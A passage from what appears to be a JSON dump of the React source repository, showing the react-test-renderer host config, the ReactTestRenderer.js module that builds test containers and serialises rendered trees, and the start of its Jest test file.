function createInstance(\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  hostContext: Object,\n  internalInstanceHandle: Object,\n): Instance {\n  return {\n    type,\n    props,\n    isHidden: false,\n    children: [],\n    internalInstanceHandle,\n    rootContainerInstance,\n    tag: 'INSTANCE',\n  };\n}\n\nexport function cloneMutableInstance(\n  instance: Instance,\n  keepChildren: boolean,\n): Instance {\n  return {\n    type: instance.type,\n    props: instance.props,\n    isHidden: instance.isHidden,\n    children: keepChildren ? instance.children : [],\n    internalInstanceHandle: null,\n    rootContainerInstance: instance.rootContainerInstance,\n    tag: 'INSTANCE',\n  };\n}\n\nexport function appendInitialChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  const index = parentInstance.children.indexOf(child);\n  if (index !== -1) {\n    parentInstance.children.splice(index, 1);\n  }\n  parentInstance.children.push(child);\n}\n\nexport function finalizeInitialChildren(\n  testElement: Instance,\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  hostContext: Object,\n): boolean {\n  return false;\n}\n\nexport function shouldSetTextContent(type: string, props: Props): boolean {\n  return false;\n}\n\nexport function createTextInstance(\n  text: string,\n  rootContainerInstance: Container,\n  hostContext: Object,\n  internalInstanceHandle: Object,\n): TextInstance {\n  return {\n    text,\n    isHidden: false,\n    tag: 'TEXT',\n  };\n}\n\nexport function cloneMutableTextInstance(\n  textInstance: TextInstance,\n): TextInstance {\n  return {\n    text: textInstance.text,\n    isHidden: textInstance.isHidden,\n    tag: 'TEXT',\n  };\n}\n\nlet currentUpdatePriority: EventPriority = NoEventPriority;\nexport function setCurrentUpdatePriority(newPriority: EventPriority): void {\n  currentUpdatePriority = newPriority;\n}\n\nexport function getCurrentUpdatePriority(): EventPriority {\n  return currentUpdatePriority;\n}\n\nexport function resolveUpdatePriority(): EventPriority {\n  if (currentUpdatePriority !== NoEventPriority) {\n    return currentUpdatePriority;\n  }\n  return DefaultEventPriority;\n}\n\nexport function trackSchedulerEvent(): void {}\nexport function resolveEventType(): null | string {\n  return null;\n}\nexport function resolveEventTimeStamp(): number {\n  return -1.1;\n}\nexport function shouldAttemptEagerTransition(): boolean {\n  return false;\n}\n\nexport const isPrimaryRenderer = false;\nexport const warnsIfNotActing = true;\n\nexport const scheduleTimeout = setTimeout;\nexport const cancelTimeout = clearTimeout;\n\nexport const noTimeout: -1 = -1;\n\n// -------------------\n//     Mutation\n// -------------------\n\nexport const supportsMutation = true;\n\nexport function commitUpdate(\n  instance: Instance,\n  type: string,\n  oldProps: Props,\n  newProps: Props,\n  internalInstanceHandle: Object,\n): void {\n  instance.type = type;\n  instance.props = newProps;\n}\n\nexport function commitMount(\n  instance: Instance,\n  type: string,\n  newProps: Props,\n  internalInstanceHandle: Object,\n): void {\n  // noop\n}\n\nexport function commitTextUpdate(\n  textInstance: TextInstance,\n  oldText: string,\n  newText: string,\n): void {\n  textInstance.text = newText;\n}\n\nexport function resetTextContent(testElement: Instance): void {\n  // noop\n}\n\nexport const appendChildToContainer = appendChild;\nexport const insertInContainerBefore = insertBefore;\nexport const removeChildFromContainer = removeChild;\n\nexport function hideInstance(instance: Instance): void {\n  instance.isHidden = true;\n}\n\nexport function hideTextInstance(textInstance: TextInstance): void {\n  textInstance.isHidden = true;\n}\n\nexport function unhideInstance(instance: Instance, props: Props): void {\n  instance.isHidden = false;\n}\n\nexport function unhideTextInstance(\n  textInstance: TextInstance,\n  text: string,\n): void {\n  textInstance.isHidden = false;\n}\n\nexport function applyViewTransitionName(\n  instance: Instance,\n  name: string,\n  className: ?string,\n): void {\n  // Noop\n}\n\nexport function restoreViewTransitionName(\n  instance: Instance,\n  props: Props,\n): void {\n  // Noop\n}\n\nexport function cancelViewTransitionName(\n  instance: Instance,\n  name: string,\n  props: Props,\n): void {\n  // Noop\n}\n\nexport function cancelRootViewTransitionName(rootContainer: Container): void {\n  // Noop\n}\n\nexport function restoreRootViewTransitionName(rootContainer: Container): void {\n  // Noop\n}\n\nexport function cloneRootViewTransitionContainer(\n  rootContainer: Container,\n): Instance {\n  return {\n    type: 'ROOT',\n    props: {},\n    isHidden: false,\n    children: [],\n    internalInstanceHandle: null,\n    rootContainerInstance: rootContainer,\n    tag: 'INSTANCE',\n  };\n}\n\nexport function removeRootViewTransitionClone(\n  rootContainer: Container,\n  clone: Instance,\n): void {\n  // Noop since it was never inserted anywhere.\n}\n\nexport type InstanceMeasurement = null;\n\nexport function measureInstance(instance: Instance): InstanceMeasurement {\n  return null;\n}\n\nexport function measureClonedInstance(instance: Instance): InstanceMeasurement {\n  return null;\n}\n\nexport function wasInstanceInViewport(\n  measurement: InstanceMeasurement,\n): boolean {\n  return true;\n}\n\nexport function hasInstanceChanged(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  return false;\n}\n\nexport function hasInstanceAffectedParent(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  return false;\n}\n\nexport function startViewTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  layoutCallback: () => void,\n  afterMutationCallback: () => void,\n  spawnedWorkCallback: () => void,\n  passiveCallback: () => mixed,\n  errorCallback: mixed => void,\n  blockedCallback: string => void, // Profiling-only\n  finishedAnimation: () => void, // Profiling-only\n): null | RunningViewTransition {\n  mutationCallback();\n  layoutCallback();\n  // Skip afterMutationCallback(). We don't need it since we're not animating.\n  spawnedWorkCallback();\n  // Skip passiveCallback(). Spawned work will schedule a task.\n  return null;\n}\n\nexport type RunningViewTransition = null;\n\nexport function startGestureTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  timeline: GestureTimeline,\n  rangeStart: number,\n  rangeEnd: number,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  animateCallback: () => void,\n  errorCallback: mixed => void,\n  finishedAnimation: () => void, // Profiling-only\n): null | RunningViewTransition {\n  mutationCallback();\n  animateCallback();\n  if (enableProfilerTimer) {\n    finishedAnimation();\n  }\n  return null;\n}\n\nexport function stopViewTransition(transition: RunningViewTransition) {}\n\nexport function addViewTransitionFinishedListener(\n  transition: RunningViewTransition,\n  callback: () => void,\n) {\n  callback();\n}\n\nexport type ViewTransitionInstance = null | {name: string, ...};\n\nexport function createViewTransitionInstance(\n  name: string,\n): ViewTransitionInstance {\n  return null;\n}\n\nexport type FragmentInstanceType = null;\n\nexport function createFragmentInstance(\n  fragmentFiber: Object,\n): FragmentInstanceType {\n  return null;\n}\n\nexport function updateFragmentInstanceFiber(\n  fragmentFiber: Object,\n  instance: FragmentInstanceType,\n): void {\n  // Noop\n}\n\nexport function commitNewChildToFragmentInstance(\n  child: Instance,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  // noop\n}\n\nexport function deleteChildFromFragmentInstance(\n  child: Instance,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  // Noop\n}\n\nexport function getInstanceFromNode(mockNode: Object): Object | null {\n  const instance = nodeToInstanceMap.get(mockNode);\n  if (instance !== undefined) {\n    return instance.internalInstanceHandle;\n  }\n  return null;\n}\n\nexport type GestureTimeline = null;\n\nexport function getCurrentGestureOffset(provider: GestureTimeline): number {\n  return 0;\n}\n\nexport function beforeActiveInstanceBlur(internalInstanceHandle: Object) {\n  // noop\n}\n\nexport function afterActiveInstanceBlur() {\n  // noop\n}\n\nexport function preparePortalMount(portalInstance: Instance): void {\n  // noop\n}\n\nexport function prepareScopeUpdate(scopeInstance: Object, inst: Object): void {\n  nodeToInstanceMap.set(scopeInstance, inst);\n}\n\nexport function getInstanceFromScope(scopeInstance: Object): null | Object {\n  return nodeToInstanceMap.get(scopeInstance) || null;\n}\n\nexport function detachDeletedInstance(node: Instance): void {\n  // noop\n}\n\nexport function logRecoverableError(error: mixed): void {\n  // noop\n}\n\nexport function requestPostPaintCallback(callback: (time: number) => void) {\n  // noop\n}\n\nexport function maySuspendCommit(type: Type, props: Props): boolean {\n  return false;\n}\n\nexport function maySuspendCommitOnUpdate(\n  type: Type,\n  oldProps: Props,\n  newProps: Props,\n): boolean {\n  return false;\n}\n\nexport function maySuspendCommitInSyncRender(\n  type: Type,\n  props: Props,\n): boolean {\n  return false;\n}\n\nexport function preloadInstance(\n  instance: Instance,\n  type: Type,\n  props: Props,\n): boolean {\n  // Return true to indicate it's already loaded\n  return true;\n}\n\nexport opaque type SuspendedState = null;\n\nexport function startSuspendingCommit(): SuspendedState {\n  return null;\n}\n\nexport function suspendInstance(\n  state: SuspendedState,\n  instance: Instance,\n  type: Type,\n  props: Props,\n): void {}\n\nexport function suspendOnActiveViewTransition(\n  state: SuspendedState,\n  container: Container,\n): void {}\n\nexport function waitForCommitToBeReady(\n  state: SuspendedState,\n  timeoutOffset: number,\n): null {\n  return null;\n}\n\nexport function getSuspendedCommitReason(\n  state: SuspendedState,\n  rootContainer: Container,\n): null | string {\n  return null;\n}\n\nexport const NotPendingTransition: TransitionStatus = null;\nexport const HostTransitionContext: ReactContext<TransitionStatus> = {\n  $$typeof: REACT_CONTEXT_TYPE,\n  Provider: (null: any),\n  Consumer: (null: any),\n  _currentValue: NotPendingTransition,\n  _currentValue2: NotPendingTransition,\n  _threadCount: 0,\n};\n\nexport type FormInstance = Instance;\nexport function resetFormInstance(form: Instance): void {}\n"
  },
  {
    "path": "packages/react-test-renderer/src/ReactTestRenderer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  Container,\n  PublicInstance,\n  Instance,\n  TextInstance,\n} from './ReactFiberConfigTestHost';\n\nimport * as React from 'react';\nimport * as Scheduler from 'scheduler/unstable_mock';\nimport {\n  getPublicRootInstance,\n  createContainer,\n  updateContainer,\n  flushSyncFromReconciler,\n  injectIntoDevTools,\n  batchedUpdates,\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n  defaultOnRecoverableError,\n} from 'react-reconciler/src/ReactFiberReconciler';\nimport {findCurrentFiberUsingSlowPath} from 'react-reconciler/src/ReactFiberTreeReflection';\nimport {\n  Fragment,\n  FunctionComponent,\n  ClassComponent,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostPortal,\n  HostText,\n  HostRoot,\n  ContextConsumer,\n  ContextProvider,\n  Mode,\n  ForwardRef,\n  Profiler,\n  MemoComponent,\n  SimpleMemoComponent,\n  IncompleteClassComponent,\n  ScopeComponent,\n} from 'react-reconciler/src/ReactWorkTags';\nimport isArray from 'shared/isArray';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport ReactVersion from 'shared/ReactVersion';\nimport {checkPropStringCoercion} from 'shared/CheckStringCoercion';\n\nimport {getPublicInstance} from './ReactFiberConfigTestHost';\nimport {ConcurrentRoot, LegacyRoot} from 'react-reconciler/src/ReactRootTags';\nimport {\n  enableReactTestRendererWarning,\n  disableLegacyMode,\n} from 'shared/ReactFeatureFlags';\n\nimport noop from 'shared/noop';\nimport type {WorkTag} from 'react-reconciler/src/ReactWorkTags';\n\nconst defaultOnDefaultTransitionIndicator: () => void | (() => void) = noop;\n\n// $FlowFixMe[prop-missing]: This is only in the development export.\nconst act = React.act;\n\n// TODO: Remove from public bundle\n\ntype TestRendererOptions = {\n  createNodeMock: (element: React$Element<any>) => any,\n  unstable_isConcurrent: boolean,\n  unstable_strictMode: boolean,\n  ...\n};\n\ntype ReactTestRendererJSON = {\n  type: string,\n  props: {[propName: string]: any, ...},\n  children: null | Array<ReactTestRendererNode>,\n  $$typeof?: symbol, // Optional because we add it with defineProperty().\n};\ntype ReactTestRendererNode = ReactTestRendererJSON | string;\n\ntype FindOptions = {\n  // performs a \"greedy\" search: if a matching node is found, will continue\n  // to search within the matching node's children. (default: true)\n  deep?: boolean,\n};\n\nexport type Predicate = (node: ReactTestInstance) => ?boolean;\n\nconst defaultTestOptions = {\n  createNodeMock: function () {\n    return null;\n  },\n};\n\nfunction toJSON(inst: Instance | TextInstance): ReactTestRendererNode | null {\n  if (inst.isHidden) {\n    // Omit timed out children from output entirely. This seems like the least\n    // surprising behavior. We could perhaps add a separate API that includes\n    // them, if it turns out people need it.\n    return null;\n  }\n  switch (inst.tag) {\n    case 'TEXT':\n      return inst.text;\n    case 'INSTANCE': {\n      // We don't include the `children` prop in JSON.\n      // Instead, we will include the actual rendered children.\n      const {children, ...props} = inst.props;\n      let renderedChildren = null;\n      if (inst.children && inst.children.length) {\n        for (let i = 0; i < inst.children.length; i++) {\n          const renderedChild = toJSON(inst.children[i]);\n          if (renderedChild !== null) {\n            if (renderedChildren === null) {\n              renderedChildren = [renderedChild];\n            } else {\n              renderedChildren.push(renderedChild);\n            }\n          }\n        }\n      }\n      const json: ReactTestRendererJSON = {\n        type: inst.type,\n        props: props,\n        children: renderedChildren,\n      };\n      Object.defineProperty(json, '$$typeof', {\n        value: Symbol.for('react.test.json'),\n      });\n      return json;\n    }\n    default:\n      throw new Error(`Unexpected node type in toJSON: ${inst.tag}`);\n  }\n}\n\nfunction childrenToTree(node: null | Fiber) {\n  if (!node) {\n    return null;\n  }\n  const children = nodeAndSiblingsArray(node);\n  if (children.length === 0) {\n    return null;\n  } else if (children.length === 1) {\n    return toTree(children[0]);\n  }\n  return flatten(children.map(toTree));\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction nodeAndSiblingsArray(nodeWithSibling) {\n  const array = [];\n  let node = nodeWithSibling;\n  while (node != null) {\n    array.push(node);\n    node = node.sibling;\n  }\n  return array;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction flatten(arr) {\n  const result = [];\n  const stack = [{i: 0, array: arr}];\n  while (stack.length) {\n    const n = stack.pop();\n    // $FlowFixMe[incompatible-use]\n    while (n.i < n.array.length) {\n      // $FlowFixMe[incompatible-use]\n      const el = n.array[n.i];\n      // $FlowFixMe[incompatible-use]\n      n.i += 1;\n      if (isArray(el)) {\n        // $FlowFixMe[incompatible-call]\n        stack.push(n);\n        stack.push({i: 0, array: el});\n        break;\n      }\n      result.push(el);\n    }\n  }\n  return result;\n}\n\nfunction toTree(node: null | Fiber): $FlowFixMe {\n  if (node == null) {\n    return null;\n  }\n  switch (node.tag) {\n    case HostRoot:\n      return childrenToTree(node.child);\n    case HostPortal:\n      return childrenToTree(node.child);\n    case ClassComponent:\n      return {\n        nodeType: 'component',\n        type: node.type,\n        props: {...node.memoizedProps},\n        instance: node.stateNode,\n        rendered: childrenToTree(node.child),\n      };\n    case FunctionComponent:\n    case SimpleMemoComponent:\n      return {\n        nodeType: 'component',\n        type: node.type,\n        props: {...node.memoizedProps},\n        instance: null,\n        rendered: childrenToTree(node.child),\n      };\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent: {\n      return {\n        nodeType: 'host',\n        type: node.type,\n        props: {...node.memoizedProps},\n        instance: null, // TODO: use createNodeMock here somehow?\n        rendered: flatten(nodeAndSiblingsArray(node.child).map(toTree)),\n      };\n    }\n    case HostText:\n      return node.stateNode.text;\n    case Fragment:\n    case ContextProvider:\n    case ContextConsumer:\n    case Mode:\n    case Profiler:\n    case ForwardRef:\n    case MemoComponent:\n    case IncompleteClassComponent:\n    case ScopeComponent:\n      return childrenToTree(node.child);\n    default:\n      throw new Error(\n        `toTree() does not yet know how to handle nodes with tag=${node.tag}`,\n      );\n  }\n}\n\nconst validWrapperTypes: Set<WorkTag> = new Set([\n  FunctionComponent,\n  ClassComponent,\n  HostComponent,\n  ForwardRef,\n  MemoComponent,\n  SimpleMemoComponent,\n  // Normally skipped, but used when there's more than one root child.\n  HostRoot,\n]);\n\nfunction getChildren(parent: Fiber) {\n  const children = [];\n  const startingNode = parent;\n  let node: Fiber = startingNode;\n  if (node.child === null) {\n    return children;\n  }\n  node.child.return = node;\n  node = node.child;\n  outer: while (true) {\n    let descend = false;\n    if (validWrapperTypes.has(node.tag)) {\n      children.push(wrapFiber(node));\n    } else if (node.tag === HostText) {\n      if (__DEV__) {\n        checkPropStringCoercion(node.memoizedProps, 'memoizedProps');\n      }\n      children.push('' + node.memoizedProps);\n    } else {\n      descend = true;\n    }\n    if (descend && node.child !== null) {\n      node.child.return = node;\n      node = node.child;\n      continue;\n    }\n    while (node.sibling === null) {\n      if (node.return === startingNode) {\n        break outer;\n      }\n      node = (node.return: any);\n    }\n    (node.sibling: any).return = node.return;\n    node = (node.sibling: any);\n  }\n  return children;\n}\n\nclass ReactTestInstance {\n  _fiber: Fiber;\n\n  _currentFiber(): Fiber {\n    // Throws if this component has been unmounted.\n    const fiber = findCurrentFiberUsingSlowPath(this._fiber);\n\n    if (fiber === null) {\n      throw new Error(\n        \"Can't read from currently-mounting component. This error is likely \" +\n          'caused by a bug in React. Please file an issue.',\n      );\n    }\n\n    return fiber;\n  }\n\n  constructor(fiber: Fiber) {\n    if (!validWrapperTypes.has(fiber.tag)) {\n      throw new Error(\n        `Unexpected object passed to ReactTestInstance constructor (tag: ${fiber.tag}). ` +\n          'This is probably a bug in React.',\n      );\n    }\n\n    this._fiber = fiber;\n  }\n\n  get instance(): $FlowFixMe {\n    const tag = this._fiber.tag;\n    if (\n      tag === HostComponent ||\n      tag === HostHoistable ||\n      tag === HostSingleton\n    ) {\n      return getPublicInstance(this._fiber.stateNode);\n    } else {\n      return this._fiber.stateNode;\n    }\n  }\n\n  get type(): any {\n    return this._fiber.type;\n  }\n\n  get props(): Object {\n    return this._currentFiber().memoizedProps;\n  }\n\n  get parent(): ?ReactTestInstance {\n    let parent = this._fiber.return;\n    while (parent !== null) {\n      if (validWrapperTypes.has(parent.tag)) {\n        if (parent.tag === HostRoot) {\n          // Special case: we only \"materialize\" instances for roots\n          // if they have more than a single child. So we'll check that now.\n          if (getChildren(parent).length < 2) {\n            return null;\n          }\n        }\n        return wrapFiber(parent);\n      }\n      parent = parent.return;\n    }\n    return null;\n  }\n\n  get children(): Array<ReactTestInstance | string> {\n    return getChildren(this._currentFiber());\n  }\n\n  // Custom search functions\n  find(predicate: Predicate): ReactTestInstance {\n    return expectOne(\n      this.findAll(predicate, {deep: false}),\n      `matching custom predicate: ${predicate.toString()}`,\n    );\n  }\n\n  findByType(type: any): ReactTestInstance {\n    return expectOne(\n      this.findAllByType(type, {deep: false}),\n      `with node type: \"${getComponentNameFromType(type) || 'Unknown'}\"`,\n    );\n  }\n\n  findByProps(props: Object): ReactTestInstance {\n    return expectOne(\n      this.findAllByProps(props, {deep: false}),\n      `with props: ${JSON.stringify(props)}`,\n    );\n  }\n\n  findAll(\n    predicate: Predicate,\n    options: ?FindOptions = null,\n  ): Array<ReactTestInstance> {\n    return findAll(this, predicate, options);\n  }\n\n  findAllByType(\n    type: any,\n    options: ?FindOptions = null,\n  ): Array<ReactTestInstance> {\n    return findAll(this, node => node.type === type, options);\n  }\n\n  findAllByProps(\n    props: Object,\n    options: ?FindOptions = null,\n  ): Array<ReactTestInstance> {\n    return findAll(\n      this,\n      node => node.props && propsMatch(node.props, props),\n      options,\n    );\n  }\n}\n\nfunction findAll(\n  root: ReactTestInstance,\n  predicate: Predicate,\n  options: ?FindOptions,\n): Array<ReactTestInstance> {\n  const deep = options ? options.deep : true;\n  const results = [];\n\n  if (predicate(root)) {\n    results.push(root);\n    if (!deep) {\n      return results;\n    }\n  }\n\n  root.children.forEach(child => {\n    if (typeof child === 'string') {\n      return;\n    }\n    results.push(...findAll(child, predicate, options));\n  });\n\n  return results;\n}\n\nfunction expectOne(\n  all: Array<ReactTestInstance>,\n  message: string,\n): ReactTestInstance {\n  if (all.length === 1) {\n    return all[0];\n  }\n\n  const prefix =\n    all.length === 0\n      ? 'No instances found '\n      : `Expected 1 but found ${all.length} instances `;\n\n  throw new Error(prefix + message);\n}\n\nfunction propsMatch(props: Object, filter: Object): boolean {\n  for (const key in filter) {\n    if (props[key] !== filter[key]) {\n      return false;\n    }\n  }\n  return true;\n}\n\nfunction create(\n  element: React$Element<any>,\n  options: TestRendererOptions,\n): {\n  _Scheduler: typeof Scheduler,\n  root: void,\n  toJSON(): Array<ReactTestRendererNode> | ReactTestRendererNode | null,\n  toTree(): mixed,\n  update(newElement: React$Element<any>): any,\n  unmount(): void,\n  getInstance(): component(...props: any) | PublicInstance | null,\n  unstable_flushSync: typeof flushSyncFromReconciler,\n} {\n  if (__DEV__) {\n    if (\n      enableReactTestRendererWarning === true &&\n      global.IS_REACT_NATIVE_TEST_ENVIRONMENT !== true\n    ) {\n      console.error(\n        'react-test-renderer is deprecated. See https://react.dev/warnings/react-test-renderer',\n      );\n    }\n  }\n\n  let createNodeMock = defaultTestOptions.createNodeMock;\n  const isConcurrentOnly =\n    disableLegacyMode === true &&\n    global.IS_REACT_NATIVE_TEST_ENVIRONMENT !== true;\n  let isConcurrent = isConcurrentOnly;\n  let isStrictMode = false;\n  if (typeof options === 'object' && options !== null) {\n    if (typeof options.createNodeMock === 'function') {\n      // $FlowFixMe[incompatible-type] found when upgrading Flow\n      createNodeMock = options.createNodeMock;\n    }\n    if (isConcurrentOnly === false) {\n      isConcurrent = options.unstable_isConcurrent;\n    }\n    if (options.unstable_strictMode === true) {\n      isStrictMode = true;\n    }\n  }\n  let container: Container = {\n    children: ([]: Array<Instance | TextInstance>),\n    createNodeMock,\n    tag: 'CONTAINER',\n  };\n  let root: FiberRoot | null = createContainer(\n    container,\n    isConcurrent ? ConcurrentRoot : LegacyRoot,\n    null,\n    isStrictMode,\n    false,\n    '',\n    defaultOnUncaughtError,\n    defaultOnCaughtError,\n    defaultOnRecoverableError,\n    defaultOnDefaultTransitionIndicator,\n    null,\n  );\n\n  if (root == null) {\n    throw new Error('something went wrong');\n  }\n\n  updateContainer(element, root, null, null);\n\n  const entry = {\n    _Scheduler: Scheduler,\n\n    root: undefined, // makes flow happy\n    // we define a 'getter' for 'root' below using 'Object.defineProperty'\n    toJSON(): Array<ReactTestRendererNode> | ReactTestRendererNode | null {\n      if (root == null || root.current == null || container == null) {\n        return null;\n      }\n      if (container.children.length === 0) {\n        return null;\n      }\n      if (container.children.length === 1) {\n        return toJSON(container.children[0]);\n      }\n      if (\n        container.children.length === 2 &&\n        container.children[0].isHidden === true &&\n        container.children[1].isHidden === false\n      ) {\n        // Omit timed out children from output entirely, including the fact that we\n        // temporarily wrap fallback and timed out children in an array.\n        return toJSON(container.children[1]);\n      }\n      let renderedChildren = null;\n      if (container.children && container.children.length) {\n        for (let i = 0; i < container.children.length; i++) {\n          const renderedChild = toJSON(container.children[i]);\n          if (renderedChild !== null) {\n            if (renderedChildren === null) {\n              renderedChildren = [renderedChild];\n            } else {\n              renderedChildren.push(renderedChild);\n            }\n          }\n        }\n      }\n      return renderedChildren;\n    },\n    toTree() {\n      if (root == null || root.current == null) {\n        return null;\n      }\n      return toTree(root.current);\n    },\n    update(newElement: React$Element<any>): number | void {\n      if (root == null || root.current == null) {\n        return;\n      }\n      updateContainer(newElement, root, null, null);\n    },\n    unmount() {\n      if (root == null || root.current == null) {\n        return;\n      }\n      updateContainer(null, root, null, null);\n      // $FlowFixMe[incompatible-type] found when upgrading Flow\n      container = null;\n      root = null;\n    },\n    getInstance() {\n      if (root == null || root.current == null) {\n        return null;\n      }\n      return getPublicRootInstance(root);\n    },\n\n    unstable_flushSync: flushSyncFromReconciler,\n  };\n\n  Object.defineProperty(\n    entry,\n    'root',\n    ({\n      configurable: true,\n      enumerable: true,\n      get: function () {\n        if (root === null) {\n          throw new Error(\"Can't access .root on unmounted test renderer\");\n        }\n        const children = getChildren(root.current);\n        if (children.length === 0) {\n          throw new Error(\"Can't access .root on unmounted test renderer\");\n        } else if (children.length === 1) {\n          // Normally, we skip the root and just give you the child.\n          return children[0];\n        } else {\n          // However, we give you the root if there's more than one root child.\n          // We could make this the behavior for all cases but it would be a breaking change.\n          // $FlowFixMe[incompatible-use] found when upgrading Flow\n          return wrapFiber(root.current);\n        }\n      },\n    }: Object),\n  );\n\n  return entry;\n}\n\nconst fiberToWrapper = new WeakMap<Fiber, ReactTestInstance>();\nfunction wrapFiber(fiber: Fiber): ReactTestInstance {\n  let wrapper = fiberToWrapper.get(fiber);\n  if (wrapper === undefined && fiber.alternate !== null) {\n    wrapper = fiberToWrapper.get(fiber.alternate);\n  }\n  if (wrapper === undefined) {\n    wrapper = new ReactTestInstance(fiber);\n    fiberToWrapper.set(fiber, wrapper);\n  }\n  return wrapper;\n}\n\n// Enable ReactTestRenderer to be used to test DevTools integration.\ninjectIntoDevTools();\n\nexport {\n  Scheduler as _Scheduler,\n  create,\n  batchedUpdates as unstable_batchedUpdates,\n  act,\n  ReactVersion as version,\n};\n"
  },
  {
    "path": "packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nconst ReactFeatureFlags = require('shared/ReactFeatureFlags');\nconst React = require('react');\nconst ReactTestRenderer = require('react-test-renderer');\nconst {format: prettyFormat} = require('pretty-format');\nconst InternalTestUtils = require('internal-test-utils');\nconst waitForAll = InternalTestUtils.waitForAll;\nconst act = InternalTestUtils.act;\nconst Reconciler = require('react-reconciler/src/ReactFiberReconciler');\nconst {\n  ConcurrentRoot,\n  LegacyRoot,\n} = require('react-reconciler/src/ReactRootTags');\n\n// Isolate noop renderer\njest.resetModules();\nconst ReactNoop = require('react-noop-renderer');\n\n// Kind of hacky, but we nullify all the instances to test the tree structure\n// with jasmine's deep equality function, and test the instances separate. We\n// also delete children props because testing them is more annoying and not\n// really important to verify.\nfunction cleanNodeOrArray(node) {\n  if (!node) {\n    return;\n  }\n  if (Array.isArray(node)) {\n    node.forEach(cleanNodeOrArray);\n    return;\n  }\n  if (node && node.instance) {\n    node.instance = null;\n  }\n  if (node && node.props && node.props.children) {\n    const {children, ...props} = node.props;\n    node.props = props;\n  }\n  if (Array.isArray(node.rendered)) {\n    node.rendered.forEach(cleanNodeOrArray);\n  } else if (typeof node.rendered === 'object') {\n    cleanNodeOrArray(node.rendered);\n  }\n}\n\ndescribe('ReactTestRenderer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    ReactFeatureFlags.enableReactTestRendererWarning = false;\n  });\n\n  // @gate __DEV__\n  it('should warn if enableReactTestRendererWarning is enabled', () => {\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n    ReactFeatureFlags.enableReactTestRendererWarning = true;\n    ReactTestRenderer.create(<div />);\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.error.mock.calls[0][0]).toContain(\n      'react-test-renderer is deprecated. See https://react.dev/warnings/react-test-renderer',\n    );\n    console.error.mockRestore();\n  });\n\n  it('should not warn if enableReactTestRendererWarning is enabled but the RN global is set', () => {\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n    global.IS_REACT_NATIVE_TEST_ENVIRONMENT = true;\n    ReactFeatureFlags.enableReactTestRendererWarning = true;\n    ReactTestRenderer.create(<div />);\n    expect(console.error).toHaveBeenCalledTimes(0);\n    console.error.mockRestore();\n  });\n\n  describe('root tags', () => {\n    let createContainerSpy;\n    beforeEach(() => {\n      global.IS_REACT_NATIVE_TEST_ENVIRONMENT = false;\n      createContainerSpy = jest.spyOn(Reconciler, 'createContainer');\n    });\n\n    function expectTag(tag) {\n      expect(createContainerSpy).toHaveBeenCalledWith(\n        expect.anything(),\n        tag,\n        null,\n        expect.anything(),\n        false,\n        expect.anything(),\n        expect.anything(),\n        expect.anything(),\n        expect.anything(),\n        expect.anything(),\n        null,\n      );\n    }\n\n    // @gate disableLegacyMode\n    it('should render using concurrent root if disableLegacyMode', () => {\n      ReactTestRenderer.create(<div />);\n      expectTag(ConcurrentRoot);\n    });\n\n    // @gate !disableLegacyMode\n    it('should default to legacy root if not disableLegacyMode', () => {\n      ReactTestRenderer.create(<div />);\n      expectTag(LegacyRoot);\n    });\n\n    it('should allow unstable_isConcurrent if not disableLegacyMode', async () => {\n      ReactTestRenderer.create(<div />, {\n        unstable_isConcurrent: true,\n      });\n      ReactTestRenderer.create(<div />);\n      expectTag(ConcurrentRoot);\n    });\n\n    it('should render legacy root when RN test environment', async () => {\n      global.IS_REACT_NATIVE_TEST_ENVIRONMENT = true;\n      ReactTestRenderer.create(<div />);\n      expectTag(LegacyRoot);\n    });\n  });\n\n  it('renders a simple component', async () => {\n    function Link() {\n      return <a role=\"link\" />;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Link />);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'a',\n      props: {role: 'link'},\n      children: null,\n    });\n  });\n\n  it('renders a top-level empty component', async () => {\n    function Empty() {\n      return null;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Empty />);\n    });\n    expect(renderer.toJSON()).toEqual(null);\n  });\n\n  it('exposes a type flag', async () => {\n    function Link() {\n      return <a role=\"link\" />;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Link />);\n    });\n    const object = renderer.toJSON();\n    expect(object.$$typeof).toBe(Symbol.for('react.test.json'));\n\n    // $$typeof should not be enumerable.\n    for (const key in object) {\n      if (object.hasOwnProperty(key)) {\n        expect(key).not.toBe('$$typeof');\n      }\n    }\n  });\n\n  it('can render a composite component', async () => {\n    class Component extends React.Component {\n      render() {\n        return (\n          <div className=\"purple\">\n            <Child />\n          </div>\n        );\n      }\n    }\n\n    const Child = () => {\n      return <moo />;\n    };\n\n    let renderer;\n    await act(() => {\n      renderer = 